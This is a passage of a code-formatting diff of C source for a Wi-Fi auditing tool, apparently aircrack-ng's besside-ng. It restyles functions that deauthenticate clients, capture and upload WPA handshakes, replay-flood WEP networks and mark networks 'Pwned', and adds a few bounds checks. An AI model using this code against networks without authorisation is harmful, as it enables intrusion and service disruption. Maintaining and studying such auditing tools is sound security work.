+			 "Content-Length: %d\r\n\r\n",
+			 _conf.cf_wpa_server,
+			 boundary,
+			 (int) (strlen(h1) + strlen(form) + tot));
 
-	if (write(s, buf, strlen(buf)) != (int) strlen(buf))
-		goto __fail;
+	if (write(s, buf, strlen(buf)) != (int) strlen(buf)) goto __fail;
 
-	if (write(s, h1, strlen(h1)) != (int) strlen(h1))
-		goto __fail;
+	if (write(s, h1, strlen(h1)) != (int) strlen(h1)) goto __fail;
 
 	if ((off = lseek(_state.s_wpafd, 0, SEEK_CUR)) == (off_t) -1)
 		err(1, "lseek()");
 
-	if (lseek(_state.s_wpafd, 0, SEEK_SET) == (off_t) -1)
-		err(1, "lseek()");
+	if (lseek(_state.s_wpafd, 0, SEEK_SET) == (off_t) -1) err(1, "lseek()");
 
-	while (tot) {
+	while (tot)
+	{
 		int l = tot;
 
-		if (l > (int) sizeof(buf))
-			l = sizeof(buf);
+		if (l > (int) sizeof(buf)) l = sizeof(buf);
 
-		if (read(_state.s_wpafd, buf, l) != l)
-			err(1, "read()");
+		if (read(_state.s_wpafd, buf, l) != l) err(1, "read()");
 
-		if (write(s, buf, l) != l)
-			goto __fail;
+		if (write(s, buf, l) != l) goto __fail;
 
 		tot -= l;
 	}
 
-	if (write(s, form, strlen(form)) != (int) strlen(form))
-		goto __fail;
+	if (write(s, form, strlen(form)) != (int) strlen(form)) goto __fail;
 
-	if (lseek(_state.s_wpafd, off, SEEK_SET) == (off_t) -1)
-		err(1, "lseek()");
+	if (lseek(_state.s_wpafd, off, SEEK_SET) == (off_t) -1) err(1, "lseek()");
 
-	while ((tot = read(s, buf, sizeof(buf) - 1)) > 0) {
-		char *p;
+	while ((tot = read(s, buf, sizeof(buf) - 1)) > 0)
+	{
+		char * p;
 
 		buf[tot] = 0;
 
 		p = strstr(buf, "\r\n\r\n");
-		if (!p)
-			goto __fail;
+		if (!p) goto __fail;
 
 		p += 4;
 
@@ -932,13 +891,12 @@
 			goto __fail;
 	}
 
-	if (!ok)
-		goto __fail;
+	if (!ok) goto __fail;
 
 	close(s);
 
-	time_printf(V_NORMAL, "Uploaded WPA handshake to %s\n",
-		    _conf.cf_wpa_server);
+	time_printf(
+		V_NORMAL, "Uploaded WPA handshake to %s\n", _conf.cf_wpa_server);
 
 	return;
 __fail:
@@ -946,26 +904,26 @@
 	time_printf(V_NORMAL, "WPA handshake upload failed\n");
 }
 
-static void wpa_crack(struct network *n)
+static void wpa_crack(struct network * n)
 {
 	int i;
 
 	packet_write_pcap(_state.s_wpafd, &n->n_beacon);
 
-	for (i = 0; i < 4; i++) {
-		struct packet *p = &n->n_client_handshake->c_handshake[i];
+	for (i = 0; i < 4; i++)
+	{
+		struct packet * p = &n->n_client_handshake->c_handshake[i];
 
-		if (p->p_len)
-			packet_write_pcap(_state.s_wpafd, p);
+		if (p->p_len) packet_write_pcap(_state.s_wpafd, p);
 	}
 
 	fsync(_state.s_wpafd);
 
 	if (_conf.cf_wpa_server)
 		wpa_upload();
-	else {
-		time_printf(V_NORMAL, "Run aircrack on %s for WPA key\n",
-			    _conf.cf_wpa);
+	else
+	{
+		time_printf(V_NORMAL, "Run aircrack on %s for WPA key\n", _conf.cf_wpa);
 	}
 
 	/* that was fast cracking! */
@@ -974,66 +932,67 @@
 	attack_continue(n);
 }
 
-static void attack_wpa(struct network *n)
+static void attack_wpa(struct network * n)
 {
-	switch (n->n_astate) {
-	case ASTATE_READY:
-		n->n_astate = ASTATE_DEAUTH;
+	switch (n->n_astate)
+	{
+		case ASTATE_READY:
+			n->n_astate = ASTATE_DEAUTH;
 		/* fallthrough */
-	case ASTATE_DEAUTH:
-		deauth(n);
-		break;
+		case ASTATE_DEAUTH:
+			deauth(n);
+			break;
 
-	case ASTATE_WPA_CRACK:
-		wpa_crack(n);
-		break;
+		case ASTATE_WPA_CRACK:
+			wpa_crack(n);
+			break;
 	}
 }
 
-static void hop(void *arg)
+static void hop(void * arg)
 {
 	int old = _state.s_chan;
 
-	if (_state.s_state != STATE_SCAN)
-		return;
+	if (_state.s_state != STATE_SCAN) return;
 
-	while (1) {
-		struct channel *c = _state.s_hopchan->c_next;
+	while (1)
+	{
+		struct channel * c = _state.s_hopchan->c_next;
 
-		if (c->c_num == old)
-			break;
+		if (c->c_num == old) break;
 
 		// skip unsupported chan.  XXX check if we run out.
-		if (wi_set_channel(_state.s_wi, c->c_num) == -1) {
+		if (wi_set_channel(_state.s_wi, c->c_num) == -1)
+		{
 			_state.s_hopchan->c_next = c->c_next;
 			free(c);
-		} else
+		}
+		else
 			break;
 	}
 
 	_state.s_hopchan = _state.s_hopchan->c_next;
-	_state.s_chan    = _state.s_hopchan->c_num;
+	_state.s_chan = _state.s_hopchan->c_num;
 
 	// XXX assume we don't lose head
-	if (_state.s_hopchan == _conf.cf_channels.c_next)
-		_state.s_hopcycles++;
+	if (_state.s_hopchan == _conf.cf_channels.c_next) _state.s_hopcycles++;
 
 	timer_in(_conf.cf_hopfreq * 1000, hop, arg);
 }
 
 static void scan_start(void)
 {
-	_state.s_state	   = STATE_SCAN;
+	_state.s_state = STATE_SCAN;
 	_state.s_hopcycles = 0;
 
 	hop(NULL); /* XXX check other hopper */
 }
 
-static void send_auth(struct network *n)
+static void send_auth(struct network * n)
 {
 	unsigned char buf[2048];
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
-	uint16_t *rc = (uint16_t*) (wh + 1);
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	uint16_t * rc = (uint16_t *) (wh + 1);
 
 	fill_basic(n, wh);
 	memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
@@ -1049,7 +1008,7 @@
 	wifi_send(wh, (unsigned long) rc - (unsigned long) wh);
 }
 
-static void ping_send(struct network *n)
+static void ping_send(struct network * n)
 {
 	send_auth(n);
 
@@ -1058,75 +1017,81 @@
 	n->n_ping_sent++;
 }
 
-static void ping_reply(struct network *n, struct ieee80211_frame *wh)
+static void ping_reply(struct network * n, struct ieee80211_frame * wh)
 {
-	uint16_t* p = (uint16_t*) (wh + 1);
+	uint16_t * p = (uint16_t *) (wh + 1);
 
-	if (le16toh(p[1]) == 2)	{
+	if (le16toh(p[1]) == 2)
+	{
 		time_printf(V_VERBOSE, "Ping reply %s\n", n->n_ssid);
 		n->n_ping_got++;
 	}
 }
 
-static void set_mac(void *mac)
+static void set_mac(void * mac)
 {
-	if (memcmp(mac, _state.s_mac, 6) == 0)
-		return;
+	if (memcmp(mac, _state.s_mac, 6) == 0) return;
 #if 0
 	if (wi_set_mac(_state.s_wi, mac) == -1)
 			err(1, "wi_set_mac()");
 #endif
-	time_printf(V_VERBOSE, "Can't set MAC - this'll suck."
-		    " Set it manually to %s for best performance.\n",
-		    mac2str(mac));
+	time_printf(V_VERBOSE,
+				"Can't set MAC - this'll suck."
+				" Set it manually to %s for best performance.\n",
+				mac2str(mac));
 
 	memcpy(_state.s_mac, mac, 6);
 }
 
-static int have_mac(struct network *n)
+static int have_mac(struct network * n)
 {
-	if (!n->n_mac_filter)
-		return 1;
+	if (!n->n_mac_filter) return 1;
 
 	/* XXX try different clients based on feedback */
-	if (!n->n_client_mac)
-		n->n_client_mac = n->n_clients.c_next;
+	if (!n->n_client_mac) n->n_client_mac = n->n_clients.c_next;
 
-	if (!n->n_client_mac)
-		return 0;
+	if (!n->n_client_mac) return 0;
 
 	set_mac(n->n_client_mac->c_mac);
 
 	return 1;
 }
 
-static void attack_ping(void *a)
+static void attack_ping(void * a)
 {
-	struct network *n = a;
+	struct network * n = a;
 
-	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n)
-		return;
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;
 
-	if (n->n_ping_sent == 10) {
-		int got  = n->n_ping_got;
+	if (n->n_ping_sent == 10)
+	{
+		int got = n->n_ping_got;
 		int sent = n->n_ping_sent;
 		int loss = 100 - ((double) got / (double) sent * 100.0);
 
-		if (loss < 0)
-			loss = 0;
+		if (loss < 0) loss = 0;
 
 		time_printf(V_VERBOSE,
-			    "Ping results for %s %d/%d (%d%% loss)\n",
-			    n->n_ssid, got, sent, loss);
-
-		if (loss >= 80) {
+					"Ping results for %s %d/%d (%d%% loss)\n",
+					n->n_ssid,
+					got,
+					sent,
+					loss);
+
+		if (loss >= 80)
+		{
 			time_printf(V_NORMAL,
-				    "Crappy connection - %s unreachable"
-				    " got %d/%d (%d%% loss) [%d dbm]\n",
-				    n->n_ssid, got, sent, loss, n->n_dbm);
+						"Crappy connection - %s unreachable"
+						" got %d/%d (%d%% loss) [%d dbm]\n",
+						n->n_ssid,
+						got,
+						sent,
+						loss,
+						n->n_dbm);
 
 			n->n_astate = ASTATE_UNREACH;
-		} else
+		}
+		else
 			n->n_astate = ASTATE_READY;
 
 		attack_continue(n);
@@ -1139,88 +1104,89 @@
 }
 
 #ifdef HAVE_PCRE
-int is_filtered_essid(char *essid)
+static int is_filtered_essid(char * essid)
 {
-    int ret = 0;
+	int ret = 0;
 
-    if(_conf.cf_essid_regex)
-    {
-        return pcre_exec(_conf.cf_essid_regex, NULL, (char*)essid, strnlen((char *)essid, MAX_IE_ELEMENT_SIZE), 0, 0, NULL, 0) < 0;
-    }
+	if (_conf.cf_essid_regex)
+	{
+		return pcre_exec(_conf.cf_essid_regex,
+						 NULL,
+						 (char *) essid,
+						 strnlen((char *) essid, MAX_IE_ELEMENT_SIZE),
+						 0,
+						 0,
+						 NULL,
+						 0)
+			   < 0;
+	}
 
-    return ret;
+	return ret;
 }
 #endif
 
 // this should always return true -sorbo
-static int should_attack(struct network *n)
+static int should_attack(struct network * n)
 {
-	if (_conf.cf_bssid
-	    && memcmp(_conf.cf_bssid , n->n_bssid, 6) != 0)
-		return 0;
+	if (_conf.cf_bssid && memcmp(_conf.cf_bssid, n->n_bssid, 6) != 0) return 0;
 
 #ifdef HAVE_PCRE
-    if (is_filtered_essid(n->n_ssid)) {
-        return 0;
-    }
+	if (is_filtered_essid(n->n_ssid))
+	{
+		return 0;
+	}
 #endif
 
-    if (!n->n_have_beacon)
-		return 0;
+	if (!n->n_have_beacon) return 0;
 
-	switch (n->n_astate) {
-	case ASTATE_DONE:
-	case ASTATE_UNREACH:
-		if (_conf.cf_bssid)
-			_state.s_state = STATE_DONE;
-		return 0;
+	switch (n->n_astate)
+	{
+		case ASTATE_DONE:
+		case ASTATE_UNREACH:
+			if (_conf.cf_bssid) _state.s_state = STATE_DONE;
+			return 0;
 	}
 
-	if (n->n_crypto != CRYPTO_WEP && n->n_crypto != CRYPTO_WPA)
-		return 0;
+	if (n->n_crypto != CRYPTO_WEP && n->n_crypto != CRYPTO_WPA) return 0;
 
-	if (!_conf.cf_do_wep && n->n_crypto == CRYPTO_WEP)
-		return 0;
+	if (!_conf.cf_do_wep && n->n_crypto == CRYPTO_WEP) return 0;
 
 	return 1;
 }
 
-static int check_ownable(struct network *n)
-{
-	return should_attack(n);
-}
+static int check_ownable(struct network * n) { return should_attack(n); }
 
-static int check_owned(struct network *n)
+static int check_owned(struct network * n)
 {
 	/* resumed network */
-	if (n->n_beacon.p_len == 0)
-		return 0;
+	if (n->n_beacon.p_len == 0) return 0;
 
 	return n->n_astate == ASTATE_DONE;
 }
 
-static int check_unreach(struct network *n)
+static int check_unreach(struct network * n)
 {
 	return n->n_astate == ASTATE_UNREACH;
 }
 
-static void print_list(char *label, check_cb cb)
+static void print_list(char * label, check_cb cb)
 {
-	struct network *n = _state.s_networks.n_next;
+	struct network * n = _state.s_networks.n_next;
 	int first = 1;
 
 	printf("%s [", label);
 
-	while (n) {
-		if (cb(n)) {
+	while (n)
+	{
+		if (cb(n))
+		{
 			if (first)
 				first = 0;
 			else
 				printf(", ");
 
 			printf("%s", n->n_ssid);
-			if (n->n_crypto == CRYPTO_WPA)
-				printf("*");
+			if (n->n_crypto == CRYPTO_WPA) printf("*");
 		}
 		n = n->n_next;
 	}
@@ -1234,52 +1200,49 @@
 
 	print_list("TO-OWN", check_ownable);
 	print_list(" OWNED", check_owned);
-	if (_conf.cf_verb > V_NORMAL)
-		print_list(" UNREACH", check_unreach);
+	if (_conf.cf_verb > V_NORMAL) print_list(" UNREACH", check_unreach);
 
 	printf("\n");
 
 	save_log();
 }
 
-static void pwned(struct network *n)
+static void pwned(struct network * n)
 {
 	int s = (_state.s_now.tv_sec - n->n_start.tv_sec);
 	int m = s / 60;
 
 	s -= m * 60;
 
-	time_printf(V_NORMAL,
-		    "Pwned network %s in %d:%.2d mins:sec\n", n->n_ssid, m, s);
+	time_printf(
+		V_NORMAL, "Pwned network %s in %d:%.2d mins:sec\n", n->n_ssid, m, s);
 
 	n->n_astate = ASTATE_DONE;
 
 	print_work();
 }
 
-static struct network *attack_get(void)
+static struct network * attack_get(void)
 {
 	struct network *n = _state.s_networks.n_next, *start;
 
-	if (_state.s_curnet && _state.s_curnet->n_next)
-		n = _state.s_curnet->n_next;
+	if (_state.s_curnet && _state.s_curnet->n_next) n = _state.s_curnet->n_next;
 
 	start = n;
 
-	while (n) {
-		if (should_attack(n))
-			return n;
+	while (n)
+	{
+		if (should_attack(n)) return n;
 
 		n = n->n_next;
-		if (n == NULL) {
+		if (n == NULL)
+		{
 			/* reached head, lets scan for a bit */
-			if (_state.s_state == STATE_ATTACK)
-				return NULL;
+			if (_state.s_state == STATE_ATTACK) return NULL;
 
 			n = _state.s_networks.n_next;
 		}
-		if (n == start)
-			break;
+		if (n == start) break;
 	}
 
 	return NULL;
@@ -1287,66 +1250,63 @@
 
 static void attack_next(void)
 {
-	struct network *n;
+	struct network * n;
 
-	if ((n = attack_get())) {
+	if ((n = attack_get()))
+	{
 		attack(n);
 		return;
 	}
 
-	if (_state.s_state == STATE_DONE)
-		return;
+	if (_state.s_state == STATE_DONE) return;
 
 	/* we aint got people to pwn */
-	if (_state.s_state == STATE_ATTACK)
-		scan_start();
+	if (_state.s_state == STATE_ATTACK) scan_start();
 }
 
-static int watchdog_next(struct network *n)
+static int watchdog_next(struct network * n)
 {
-	if (n->n_crypto == CRYPTO_WEP
-	    && n->n_astate == ASTATE_WEP_FLOOD
-	    && n->n_replay_got) {
+	if (n->n_crypto == CRYPTO_WEP && n->n_astate == ASTATE_WEP_FLOOD
+		&& n->n_replay_got)
+	{
 		int diff;
 		int to = _conf.cf_floodwait * 1000 * 1000;
 
 		diff = time_diff(&n->n_replay_last, &_state.s_now);
 
-		if (diff < to)
-			return to - diff;
+		if (diff < to) return to - diff;
 	}
 
 	return 0;
 }
 
-static void attack_watchdog(void *arg)
+static void attack_watchdog(void * arg)
 {
-	struct network *n = arg;
+	struct network * n = arg;
 	int next;
 
-	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n)
-		return;
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;
 
 	next = watchdog_next(n);
 
-	if (next == 0) {
+	if (next <= 0 || next >= INT_MAX)
+	{
 		time_printf(V_VERBOSE, "Giving up on %s for now\n", n->n_ssid);
 		attack_next();
-	} else
+	}
+	else
 		timer_in(next, attack_watchdog, n);
 }
 
-static void network_auth(void *a)
+static void network_auth(void * a)
 {
-	struct network *n = a;
+	struct network * n = a;
 
-	if (_state.s_state != STATE_ATTACK ||
-	    _state.s_curnet != n
-	    || n->n_wstate != WSTATE_NONE)
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_wstate != WSTATE_NONE)
 		return;
 
-	if (!have_mac(n))
-		return;
+	if (!have_mac(n)) return;
 
 	time_printf(V_VERBOSE, "Authenticating...\n");
 
@@ -1355,12 +1315,12 @@
 	timer_in(_conf.cf_to * 1000, network_auth, n);
 }
 
-static void do_assoc(struct network *n, int stype)
+static void do_assoc(struct network * n, int stype)
 {
 	unsigned char buf[2048];
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
-	uint16_t *rc = (uint16_t*) (wh + 1);
-	unsigned char *p;
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	uint16_t * rc = (uint16_t *) (wh + 1);
+	unsigned char * p;
 
 	fill_basic(n, wh);
 	memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
@@ -1370,12 +1330,13 @@
 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | stype;
 
 	*rc++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY
-			| IEEE80211_CAPINFO_SHORT_PREAMBLE);
+					| IEEE80211_CAPINFO_SHORT_PREAMBLE);
 	*rc++ = htole16(0);
 
-	p = (unsigned char*) rc;
+	p = (unsigned char *) rc;
 
-	if (stype == IEEE80211_FC0_SUBTYPE_REASSOC_REQ) {
+	if (stype == IEEE80211_FC0_SUBTYPE_REASSOC_REQ)
+	{
 		memcpy(p, n->n_bssid, sizeof(n->n_bssid));
 		p += sizeof(n->n_bssid);
 	}
@@ -1385,36 +1346,35 @@
 	memcpy(p, n->n_ssid, strlen(n->n_ssid));
 	p += strlen(n->n_ssid);
 
-        // rates
-        *p++ = IEEE80211_ELEMID_RATES;
-        *p++ = 8;
-        *p++ = 2 | 0x80;
-        *p++ = 4 | 0x80;
-        *p++ = 11 | 0x80;
-        *p++ = 22 | 0x80;
-        *p++ = 12 | 0x80;
-        *p++ = 24 | 0x80;
-        *p++ = 48 | 0x80;
-        *p++ = 72;
-
-        /* x-rates */
-        *p++ = IEEE80211_ELEMID_XRATES;
-        *p++ = 4;
-        *p++ = 48;
-        *p++ = 72;
-        *p++ = 96;
-        *p++ = 108;
+	// rates
+	*p++ = IEEE80211_ELEMID_RATES;
+	*p++ = 8;
+	*p++ = 2 | 0x80;
+	*p++ = 4 | 0x80;
+	*p++ = 11 | 0x80;
+	*p++ = 22 | 0x80;
+	*p++ = 12 | 0x80;
+	*p++ = 24 | 0x80;
+	*p++ = 48 | 0x80;
+	*p++ = 72;
+
+	/* x-rates */
+	*p++ = IEEE80211_ELEMID_XRATES;
+	*p++ = 4;
+	*p++ = 48;
+	*p++ = 72;
+	*p++ = 96;
+	*p++ = 108;
 
 	wifi_send(wh, (unsigned long) p - (unsigned long) wh);
 }
 
-static void network_assoc(void *a)
+static void network_assoc(void * a)
 {
-	struct network *n = a;
+	struct network * n = a;
 
-	if (_state.s_state != STATE_ATTACK ||
-	    _state.s_curnet != n
-	    || n->n_wstate != WSTATE_AUTH)
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_wstate != WSTATE_AUTH)
 		return;
 
 	do_assoc(n, IEEE80211_FC0_SUBTYPE_ASSOC_REQ);
@@ -1424,50 +1384,52 @@
 	timer_in(_conf.cf_to * 1000, network_assoc, n);
 }
 
-static int need_connect(struct network *n)
+static int need_connect(struct network * n)
 {
-	if (n->n_crypto == CRYPTO_WPA)
-		return 0;
+	if (n->n_crypto == CRYPTO_WPA) return 0;
 
-	switch (n->n_astate) {
-	case ASTATE_READY:
-	case ASTATE_WEP_PRGA_GET:
-	case ASTATE_WEP_FLOOD:
-		return 1;
+	switch (n->n_astate)
+	{
+		case ASTATE_READY:
+		case ASTATE_WEP_PRGA_GET:
+		case ASTATE_WEP_FLOOD:
+			return 1;
 
-	default:
-		return 0;
+		default:
+			return 0;
 	}
 }
 
-static int network_connect(struct network *n)
+static int network_connect(struct network * n)
 {
-	switch (n->n_wstate) {
-	case WSTATE_NONE:
-		network_auth(n);
-		break;
+	switch (n->n_wstate)
+	{
+		case WSTATE_NONE:
+			network_auth(n);
+			break;
 
-	case WSTATE_AUTH:
-		network_assoc(n);
-		break;
+		case WSTATE_AUTH:
+			network_assoc(n);
+			break;
 
-	case WSTATE_ASSOC:
-		return 1;
+		case WSTATE_ASSOC:
+			return 1;
 	}
 
 	return 0;
 }
 
-static void prga_get(struct network *n)
+static void prga_get(struct network * n)
 {
-	if (n->n_replay_len) {
+	if (n->n_replay_len)
+	{
 		n->n_astate = ASTATE_WEP_FLOOD;
 		attack_continue(n);
 		return;
 	}
 }
 
-static void speed_add(struct speed *s)
+static void speed_add(struct speed * s)
 {
 	if (s->s_start.tv_sec == 0)
 		memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start));
@@ -1475,26 +1437,23 @@
 	s->s_num++;
 }
 
-static void speed_calculate(struct speed *s)
+static void speed_calculate(struct speed * s)
 {
 	int diff = time_diff(&s->s_start, &_state.s_now);
 
-	if (diff < (1000 * 1000))
-		return;
+	if (diff < (1000 * 1000)) return;
 
-	s->s_speed = (int) ((double) s->s_num /
-		     ((double) diff / 1000.0 / 1000.0));
+	s->s_speed = (int) ((double) s->s_num / ((double) diff / 1000.0 / 1000.0));
 
 	memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start));
-		s->s_num = 0;
+	s->s_num = 0;
 }
 
-static void do_flood(struct network *n)
+static void do_flood(struct network * n)
 {
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) n->n_replay;
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) n->n_replay;
 
-	if (!network_connect(n))
-		return;
+	if (!network_connect(n)) return;
 
 	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));
 
@@ -1502,13 +1461,12 @@
 	speed_add(&n->n_flood_out);
 }
 
-static void wep_flood(void *a)
+static void wep_flood(void * a)
 {
-	struct network *n = a;
+	struct network * n = a;
 
-	if (_state.s_state != STATE_ATTACK
-	    || _state.s_curnet != n
-	    || n->n_astate != ASTATE_WEP_FLOOD)
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_astate != ASTATE_WEP_FLOOD)
 		return;
 
 	do_flood(n);
@@ -1516,23 +1474,21 @@
 	timer_in(_conf.cf_floodfreq, wep_flood, n);
 }
 
-static void replay_check(void *a)
+static void replay_check(void * a)
 {
-	struct network *n = a;
+	struct network * n = a;
 
-	if (_state.s_state != STATE_ATTACK
-	    || _state.s_curnet != n
-	    || n->n_astate != ASTATE_WEP_FLOOD)
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_astate != ASTATE_WEP_FLOOD)
 		return;
 
-	if (n->n_replay_got > 3)
-		return;
+	if (n->n_replay_got > 3) return;
 
 	n->n_replay_len = 0;
 	n->n_astate = ASTATE_WEP_PRGA_GET;
 }
 
-static void start_flood(struct network *n)
+static void start_flood(struct network * n)
 {
 	n->n_replay_got = 0; /* refresh replay packet if it sucks */
 
@@ -1540,77 +1496,77 @@
 	wep_flood(n);
 }
 
-static void attack_wep(struct network *n)
+static void attack_wep(struct network * n)
 {
-	if (!n->n_ssid[0]) {
+	if (!n->n_ssid[0])
+	{
 		n->n_astate = ASTATE_DEAUTH;
 		deauth(n);
 		return;
 	}
 
-	if (!network_connect(n))
-		return;
+	if (!network_connect(n)) return;
 
-	switch (n->n_astate) {
-	case ASTATE_READY:
-		n->n_astate = ASTATE_WEP_PRGA_GET;
+	switch (n->n_astate)
+	{
+		case ASTATE_READY:
+			n->n_astate = ASTATE_WEP_PRGA_GET;
 		/* fallthrough */
-	case ASTATE_WEP_PRGA_GET:
-		prga_get(n);
-		break;
+		case ASTATE_WEP_PRGA_GET:
+			prga_get(n);
+			break;
 
-	case ASTATE_WEP_FLOOD:
-		start_flood(n);
-		break;
+		case ASTATE_WEP_FLOOD:
+			start_flood(n);
+			break;
 	}
 }
 
-static void attack_continue(struct network *n)
+static void attack_continue(struct network * n)
 {
-	if (_state.s_state != STATE_ATTACK
-            || _state.s_curnet != n)
-		return;
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;
 
-	switch (n->n_astate) {
-	case ASTATE_NONE:
-		n->n_astate = ASTATE_PING;
+	switch (n->n_astate)
+	{
+		case ASTATE_NONE:
+			n->n_astate = ASTATE_PING;
 		/* fall through */
-	case ASTATE_PING:
-		n->n_ping_got = n->n_ping_sent = 0;
-		attack_ping(n);
-		return;
+		case ASTATE_PING:
+			n->n_ping_got = n->n_ping_sent = 0;
+			attack_ping(n);
+			return;
 
-	case ASTATE_DONE:
-		pwned(n);
+		case ASTATE_DONE:
+			pwned(n);
 		/* fallthrough */
-	case ASTATE_UNREACH:
-		if (_conf.cf_bssid)
-			_state.s_state = STATE_DONE;
-		else
-			attack_next();
-		return;
+		case ASTATE_UNREACH:
+			if (_conf.cf_bssid)
+				_state.s_state = STATE_DONE;
+			else
+				attack_next();
+			return;
 	}
 
-	switch (n->n_crypto) {
-	case CRYPTO_WPA:
-		attack_wpa(n);
-		break;
+	switch (n->n_crypto)
+	{
+		case CRYPTO_WPA:
+			attack_wpa(n);
+			break;
 
-	case CRYPTO_WEP:
-		attack_wep(n);
-		break;
+		case CRYPTO_WEP:
+			attack_wep(n);
+			break;
 	}
 }
 
-static void attack(struct network *n)
+static void attack(struct network * n)
 {
 	_state.s_curnet = n;
-	_state.s_state  = STATE_ATTACK;
+	_state.s_state = STATE_ATTACK;
 
 	channel_set(n->n_chan);
 
-	time_printf(V_VERBOSE,
-		    "Pwning [%s] %s\n", n->n_ssid, mac2str(n->n_bssid));
+	time_printf(V_VERBOSE, "Pwning [%s] %s\n", n->n_ssid, mac2str(n->n_bssid));
 
 	if (n->n_start.tv_sec == 0)
 		memcpy(&n->n_start, &_state.s_now, sizeof(n->n_start));
@@ -1623,38 +1579,44 @@
 	attack_continue(n);
 }
 
-static void found_new_client(struct network *n, struct client *c)
+static void found_new_client(struct network * n, struct client * c)
 {
-	time_printf(V_VERBOSE, "Found client for network [%s] %s\n",
-		    n->n_ssid, mac2str(c->c_mac));
+	time_printf(V_VERBOSE,
+				"Found client for network [%s] %s\n",
+				n->n_ssid,
+				mac2str(c->c_mac));
 
-	if (n->n_mac_filter && !n->n_client_mac)
-		attack_continue(n);
+	if (n->n_mac_filter && !n->n_client_mac) attack_continue(n);
 }
 
-static void found_new_network(struct network *n)
+static void found_new_network(struct network * n)
 {
-	struct client *c = n->n_clients.c_next;
+	struct client * c = n->n_clients.c_next;
 
 	network_print(n);
 
-	while (c) {
+	while (c)
+	{
 		found_new_client(n, c);
 		c = c->c_next;
 	}
 
-	if (_conf.cf_bssid &&
-	    memcmp(n->n_bssid, _conf.cf_bssid, sizeof(n->n_bssid)) == 0) {
-		if (should_attack(n)) {
+	if (_conf.cf_bssid
+		&& memcmp(n->n_bssid, _conf.cf_bssid, sizeof(n->n_bssid)) == 0)
+	{
+		if (should_attack(n))
+		{
 			attack(n);
-		} else {
+		}
+		else
+		{
 			time_printf(V_NORMAL, "Can't attack %s\n", n->n_ssid);
 			_state.s_state = STATE_DONE;
 		}
 	}
 }
 
-static void packet_copy(struct packet *p, void *d, int len)
+static void packet_copy(struct packet * p, void * d, int len)
 {
 	assert(len <= (int) sizeof(p->p_data));
 
@@ -1662,125 +1624,116 @@
 	memcpy(p->p_data, d, len);
 }
 
-static void packet_write_pcap(int fd, struct packet *p);
+static void packet_write_pcap(int fd, struct packet * p);
 
-static void found_ssid(struct network *n)
+static void found_ssid(struct network * n)
 {
-	unsigned char *p;
+	unsigned char * p;
 	int ssidlen;
 	int origlen;
 
-	time_printf(V_NORMAL, "Found SSID [%s] for %s\n",
-		    n->n_ssid, mac2str(n->n_bssid));
+	time_printf(
+		V_NORMAL, "Found SSID [%s] for %s\n", n->n_ssid, mac2str(n->n_bssid));
 
 	/* beacon surgery */
 	p = n->n_beacon.p_data + sizeof(struct ieee80211_frame) + 8 + 2 + 2;
 
 	ssidlen = strlen(n->n_ssid);
-	assert((n->n_beacon.p_len + ssidlen) <=
-	       (int) sizeof(n->n_beacon.p_data));
+	assert((n->n_beacon.p_len + ssidlen) <= (int) sizeof(n->n_beacon.p_data));
 
 	assert(*p == IEEE80211_ELEMID_SSID);
 	p++;
 
 	origlen = *p;
-	*p++    = ssidlen;
+	*p++ = ssidlen;
 
 	assert(origlen == 0 || p[0] == 0);
 
-	memmove(p + ssidlen, p + origlen,
-		n->n_beacon.p_len - (p + origlen - n->n_beacon.p_data));
+	memmove(p + ssidlen,
+			p + origlen,
+			n->n_beacon.p_len - (p + origlen - n->n_beacon.p_data));
 	memcpy(p, n->n_ssid, ssidlen);
 
 	n->n_beacon.p_len += ssidlen - origlen;
 
-	if (n->n_client_handshake) {
+	if (n->n_client_handshake)
+	{
 		n->n_astate = ASTATE_WPA_CRACK;
 		attack_continue(n);
 	}
 
-	if (n->n_crypto == CRYPTO_WEP) {
+	if (n->n_crypto == CRYPTO_WEP)
+	{
 		n->n_astate = ASTATE_READY;
 		attack_continue(n);
 	}
 }
 
-static int parse_rsn(struct network *n, unsigned char *p, int l, int rsn)
+static int parse_rsn(struct network * n, unsigned char * p, int l, int rsn)
 {
 	int c;
-	unsigned char *start = p;
+	unsigned char * start = p;
 	int psk = 0;
 
-	if (l < 2)
-		return 0;
+	if (l < 2 || l >= INT_MAX) return 0;
 
-	if (memcmp(p, "\x01\x00", 2) != 0)
-		return 0;
+	if (memcmp(p, "\x01\x00", 2) != 0) return 0;
 
 	n->n_crypto = CRYPTO_WPA;
 
-	if (l < 8)
-		return -1;
+	if (l < 8) return -1;
 
 	p += 2;
 	p += 4;
 
 	/* cipher */
-	c = le16toh(*((uint16_t*) p));
+	c = le16toh(*((uint16_t *) p));
 
 	p += 2 + 4 * c;
 
-	if (l < ((p - start) + 2))
-		return -1;
+	if (l < ((p - start) + 2)) return -1;
 
 	/* auth */
-	c = le16toh(*((uint16_t*) p));
+	c = le16toh(*((uint16_t *) p));
 	p += 2;
 
-	if (l < ((p - start) + c * 4))
-		return -1;
+	if (l < ((p - start) + c * 4)) return -1;
 
-	while (c--) {
-		if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0)
-			psk++;
+	while (c--)
+	{
+		if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) psk = 1;
 
